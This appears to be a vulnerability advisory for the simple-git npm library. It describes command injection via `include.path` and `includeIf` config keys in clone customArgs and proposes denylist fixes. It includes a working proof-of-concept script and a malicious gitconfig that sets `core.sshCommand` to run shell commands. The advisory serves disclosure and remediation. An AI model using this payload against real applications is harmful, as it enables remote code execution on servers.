## Summary
An OS command injection vulnerability in `git.clone()` allows any application that flows attacker-influenced data into `customArgs` to execute arbitrary code. simple-git 3.36.0 (current latest on npm) ships without any `include.path` entry in the `blockUnsafeOperationsPlugin` denylist. Passing `-c include.path=<file>` via customArgs loads any local file as a gitconfig. The loaded file can set `core.sshCommand` (or any otherwise-denied key), and the next remote operation in the same clone executes the attacker's command.
PR #1167 (merged to main 2026-05-10, not yet released to npm) adds `preventConfigBuilder('include.path', 'allowUnsafeInclude')` to the denylist. The generated regex `/\s*include.path/` closes the plain spelling but does not match the conditional form `includeIf.<cond>.path`. The variant therefore survives the upcoming release if the regex is not tightened in the same cycle.
This sits in the same denylist class as the prior incomplete-fix chain (CVE-2022-24433, CVE-2022-24066, CVE-2022-25912, CVE-2022-25860, CVE-2026-28291, CVE-2026-28292). `include` and `includeIf` are not referenced in any published advisory, in any commit prior to PR #1167, or anywhere in the 3.36.0 source.
## Details
Two sinks share the same root cause: the denylist is incomplete.
### Sink A: published 3.36.0 has no `include.path` entry
`packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts` in the v3.36.0 tag contains no entry for `include.path` or `includeIf.*.path`. The argv parser recognises `-c include.path=<file>` and `-c includeIf.<cond>.path=<file>` as config writes, but `detectVulnerableConfigWrites` iterates a denylist that does not include either key. The plugin returns no vulnerability and the operation proceeds.
### Sink B: pending PR #1167 regex misses `includeIf`
PR #1167 adds:
```ts
const preventUnsafeConfig = [
// ...
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
// ...
];
```
`preventConfigBuilder` constructs a non-anchored regex from the string:
```ts
function preventConfigBuilder(config, category, message) {
const regex = typeof config === 'string'
? new RegExp(`\\s*${config.toLowerCase()}`)
: config;
return function preventCommand(key) {
if (regex.test(key)) { /* throw */ }
};
}
```
For `'include.path'`, the generated regex is `/\s*include.path/`. The `.` between `include` and `path` is a regex wildcard. The engine matches `include` plus exactly one arbitrary character plus `path`. Conditional include keys have the form `includeIf.<condition>.path` (`includeIf.gitdir:.path`, `includeIf.onbranch:main.path`, `includeIf.hasconfig:r.u:**.path`, etc.). The substring between `include` and `path` is `if.<condition>:`, always longer than one character. The 11-character match window cannot align and the test returns false.
```js
/\s*include.path/.test('include.path') // true
/\s*include.path/.test('includeif.gitdir:.path') // false
/\s*include.path/.test('includeif.onbranch:main.path') // false
```
The argv parser at `packages/argv-parser/src/argv/analyse-config.ts` correctly recognises both `include.path=...` and `includeIf.gitdir:.path=...` as config writes; both yield a `ConfigWrite` with the lowercased key. The defect is purely in the denylist regex (after PR #1167) and in the entry being absent (before PR #1167).
### Exploitation chain
1. Attacker writes a gitconfig to any path the simple-git process can read. Realistic write primitives: file upload (avatar, attachment, CI artifact, S3-mounted bucket), shared `/tmp` in multi-tenant runners, log poisoning that lands `[core]` headers in a log path, predictable artifact paths, container volume mounts the attacker controls.
```
[core]
sshCommand = "/bin/sh -c 'id > /tmp/pwned; touch /tmp/RCE'"
```
2. Attacker triggers `git.clone()` with crafted `customArgs`. Either the URL or the customArgs flow from attacker-influenced input. This is the documented threat model of `blockUnsafeOperationsPlugin`.
3. `cloneTask` assembles `['clone', '-c', '<payload>', pathspec(url), pathspec(dst)]`.
4. `blockUnsafeOperationsPlugin` runs `parseArgv` and `collectWriteFlags`, yielding the write. `detectVulnerableConfigWrites` iterates the denylist. In 3.36.0 the denylist has no entry. After PR #1167 the denylist has an entry but its regex does not match `includeif.gitdir:.path`. Either way, no vulnerability is yielded and the plugin permits the operation.
5. `suffixPathsPlugin` moves pathspec items to the suffix. Final argv: `git clone -c <payload> -- ssh://target.example/repo.git /tmp/dst`.
6. `git clone` has its own `-c` / `--config` option (`-c <key>=<value>, --config <key>=<value>` per `git clone --help`), so a `-c` immediately after the subcommand is honoured by clone itself. Git evaluates the include (the conditional form uses an empty `gitdir:` pattern that matches the current gitdir), reads `/tmp/attacker.cfg`, registers `core.sshCommand`.
7. Git invokes ssh through the configured command. Attacker's shell payload runs in the simple-git process's context.
`git clone` is the unique git subcommand that honours `-c` after itself. `git fetch -c k=v`, `git pull -c k=v`, `git push -c k=v` all reject the placement (those subcommands treat `-c` as a global option that must precede them). Since simple-git always places the subcommand at argv[0], user-controlled `-c` in `customArgs` always lands after the subcommand. Clone is the entry point for both sinks.
### Secondary chain: `HOME` and `XDG_CONFIG_HOME` not in `parseEnv` denylist
`packages/argv-parser/src/env/parse-env.ts:5-25` lists env keys removed from the spawned-process environment when sourced from `git.env(...)`. `HOME`, `XDG_CONFIG_HOME`, and similar config-resolution keys are absent. Calling `git.env({HOME: '/tmp/fake-home'})` makes git read `/tmp/fake-home/.gitconfig`, which the attacker controls. Same exploit primitive, parallel surface. Should be addressed in the same fix.
## PoC
Reproduction from a clean install:
```bash
mkdir /tmp/sg-poc && cd /tmp/sg-poc
npm init -y
npm install
[email protected]
cat > poc.js <<'EOF'
const { simpleGit } = require('simple-git');
const fs = require('fs');
fs.writeFileSync('/tmp/sg-attacker.cfg',
`[core]\nsshCommand = "/bin/sh -c 'id > /tmp/sg-id; touch /tmp/sg-pwned'"\n`);
const git = simpleGit({ baseDir: '/tmp' });
(async () => {
// Sink A: plain include.path works on published 3.36.0 (no denylist entry).
// Swap to 'includeIf.gitdir:.path=...' to demonstrate Sink B against PR #1167.
const payload = 'include.path=/tmp/sg-attacker.cfg';
try {
await git.clone(
'ssh://nonexistent.example.com/repo.git',
'/tmp/sg-rce-dst',
['-c', payload]
);
} catch (_) { /* clone fails after sshCommand has already run */ }
await new Promise(r => setTimeout(r, 500));
console.log(fs.readFileSync('/tmp/sg-id', 'utf8'));
})();
EOF
node poc.js
```
Output on simple-git 3.36.0:
```
uid=0(root) gid=0(root) groups=0(root)
```
Swapping the payload to `'includeIf.gitdir:.path=/tmp/sg-attacker.cfg'` reproduces the same RCE on 3.36.0 and is the variant that will survive the PR #1167 release.
## Impact
Pre-authentication remote code execution in any server that flows attacker-influenced data into `customArgs` of `clone()` or `mirror()`. simple-git is approximately 9.4M weekly downloads on npm. Affected consumer patterns:
- CI/CD systems and custom GitHub Actions / Buildkite plugins / GitLab cache helpers
- PaaS and hosting platforms that accept customer-tunable git options
- Code analyzers and security scanners that clone user-supplied repos
- Bot frameworks (Probot, GitOps controllers) that wrap simple-git
- AI agent frameworks that auto-clone repositories for analysis
- VS Code extensions, Electron tools, and dev tooling that pass options through
The chain needs one byte of attacker-writable, process-readable storage in addition to customArgs influence. In consumers where the file-write primitive is co-located with the clone trigger (single-request file upload + clone, multi-tenant CI runners with shared `/tmp`, agent frameworks that write per-task scratch files), this is effectively unauthenticated pre-auth RCE with `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical`. The form value uses the conservative `AC:H = 8.1` baseline that accounts for the separate-request case.
## Distinction from prior advisories and pending fix
Reviewed the published GHSA list at `steveukx/git-js/security/advisories`. Two advisories are published:
- GHSA-jcxm-m3jx-f287 (CVE-2026-28291, High): generic option-parsing class addressed by the 3.32.0 refactor
- GHSA-r275-fr43-pm7q (CVE-2026-28292, Critical): case-insensitive `protocol.allow` form
Neither mentions `include`, `includeIf`, or conditional includes. The terms do not appear anywhere in source files, tests, or commits in the repository at any tagged release. PR #1167 (merged to main 2026-05-10) is the first commit anywhere in the repository to reference `include.path`. It addresses the plain form but its regex misses the conditional `includeIf.<cond>.path` spelling.
The published 3.36.0 vulnerability (Sink A) is unaddressed in any released version. The pending PR #1167 (Sink B) addresses the plain key but leaves the conditional variant open. Both should land in one release.
## Suggested fix
In `packages/argv-parser/src/vulnerabilities/detect-vulnerable-config-writes.ts`, add the plain `include.path` entry and ensure conditional forms are covered:
```ts
preventConfigBuilder('include.path', 'allowUnsafeInclude'),
preventConfigBuilder(/^\s*includeif[^.]*(\..+)*\.path/i, 'allowUnsafeInclude', 'include.path'),
```
Alternatively pre-process the key in `parseAssignment` to strip the `if.<condition>:` decoration before testing against `include.path`, since `includeIf` is semantically equivalent to `include` for security purposes.
Stronger, longer-term fix: invert the model. Reject any `-c`, `--config`, `--config-env` in `customArgs` unconditionally and require callers to use the typed `config:` option (already prefix-checked through the same plugin). Git's config namespace is open-ended; new dangerous keys land in every git release. A denylist will need new entries indefinitely.
Also extend `parseEnv` to drop `HOME`, `XDG_CONFIG_HOME`, and any env key that affects config-file resolution.